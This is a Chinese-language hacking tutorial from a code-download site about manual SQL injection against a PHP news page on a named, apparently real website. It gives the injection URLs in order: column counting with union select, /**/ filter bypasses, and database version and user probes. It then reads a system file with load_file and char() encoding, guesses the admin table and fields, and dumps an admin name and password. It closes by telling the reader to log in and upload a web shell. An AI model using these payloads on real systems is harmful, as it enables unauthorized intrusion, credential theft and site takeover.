首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图 ┆ 虚拟主机 ┆ 中文域名
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 黑客入门 → 文章内容

PHP注入代码详解--PHP,注入,代码,详解

作者:佚名  来源:网上收集  发布时间:2007-3-16 15:22:35

目标网站:http://www.hackcmd.com:81
注入点: http://www.hackcmd.com:81/news.php?id=780

1.认识注入类型

不管是asp.aspx.php,注入的标准类型必为
http://www.xxxx.com/aa.asp?p=xxx
http://www.xxxx.com/aa.aspx?p=xxx
http://www.xxxx.com/aa.php?p=xxx

2.判断是否存在注入
不管是asp.aspx.php,注入点的判断都是这样的
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=1返回正常页
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=2,返回错误页

存在注入

3.猜解准确字段数
(不明白原理的请多看看这方面的文章,这只讲实际运用)
利用union来查询准确字段,如: and 1=2 union select 1,2,3,.......直到返回正常,说明猜到准确字

段数。如过滤了空格可以用 /**/代替。

http://www.hackcmd.com:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7
http://www.hackcmd.com:81/news.php?id=780/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7

记下这个位置,3 和5 

4.mysql也有内置变量,可以帮助我们获得更多信息
version()(4.0.21-nt)返回当前数据库版本信息,database(){db_atextile_org_cn} 返回当前数据库

名,user(),{tt1330@localhost}返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西

现在就在3和5这插入
http://www.hackcmd.com:81/news.php?id=780%20and%201=2%20union%20select%201,2,version

(),4,5,6,7
Load_file可以返回文件的内容
(1),读取系统信息
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating 

systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" 

/fastdetect /NoExecute=OptOut multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - 

secondary plex" multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary 

plex" 

(2)读取php配置信息

我们转化一下,
load_file('c:\boot.ini')=load_file(char(99,58,92,98,111,111,116,46,105,110,105))


5.准确猜解表
如: and 1=1 union select 1,2,3,4,5,6.... from user 如果返回正常说明存在这个表。
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from admin
说明没有admin表
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from user
正常说明有这个表

6.猜解表中的字段
and 1=1 union select 1,username,3,4,5,6.... from user/*如果字段显示出字段内容则存在些字段。
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,user,4,5,6,7 from user
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,name,4,5,6,7 from user
有字段name
同理再猜解password字段,猜解成功再找后台登录。
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,pass,4,5,6,7 from user
http://www.hackcmd.com:81/news.php?id=780 and 1=1 union select 1,2,pwd,4,5,6,7 from user
有字段pwd


7.暴管理员的用户名,密码是多少
http://www.hackcmd.com:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7 from user
http://www.hackcmd.com:81/news.php?id=780 and 1=2 union select 1,2,pwd,4,name,6,7 from user

name:admin
pwd:83863176 
7.登录后台,上传shell。

[] [返回上一页] [打 印]
  • 上一篇文章:HDSI3+网络僵尸的完整源代码--HDSI3,网络僵尸,源代码
  • 下一篇文章:破解超级保镖的密码--破解,超级保镖,密码

  • 相关文章:
  • php注入之完全版--php,注入,完全版
  • PHP注射库--PHP,注射库
  • 简单PHP注入演示--简单,PHP,注入,演示
  • [组图]PHP注入 MYSQL=SYSTEM权限--PHP,注入,MYSQL,S...
  • 总结php注入十点基本步骤--php,注入
  • 手工php注入总结--手工,php,注入
  • php注入漏洞专题--php,注入,漏洞
  • PHP注入代码详解--PHP,注入,代码,详解
  • PHP注入技术--PHP,注入,技术
  • PHP程序安全基础:手工php注入总结
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号